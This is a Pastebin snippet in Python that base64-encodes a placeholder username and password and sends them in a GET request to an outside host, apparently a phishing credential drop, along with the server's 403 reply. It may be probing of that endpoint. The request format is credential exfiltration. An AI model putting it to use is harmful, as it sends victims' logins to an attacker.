Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from base64 import b64encode
- import requests
- username = "whatever"
- password = "thefuck"
- pad_url = "http://ucwa-cdn.com/s/?e={}&p={}&l={}".format(b64encode(username), b64encode(password), b64encode("LOL"))
- print pad_url
- resp = requests.get(pad_url)
- print "RESP = {}".format(resp.text)
- print resp.history
- """
- http://ucwa-cdn.com/s/?e=d2hhdGV2ZXI=&p=dGhlZnVjaw==&l=TE9M
- RESP = <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
- <html><head>
- <title>403 Forbidden</title>
- </head><body>
- <h1>Forbidden</h1>
- <p>You don't have permission to access /s/
- on this server.<br />
- </p>
- <p>Additionally, a 403 Forbidden
- error was encountered while trying to use an ErrorDocument to handle the request.</p>
- </body></html>
- """
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement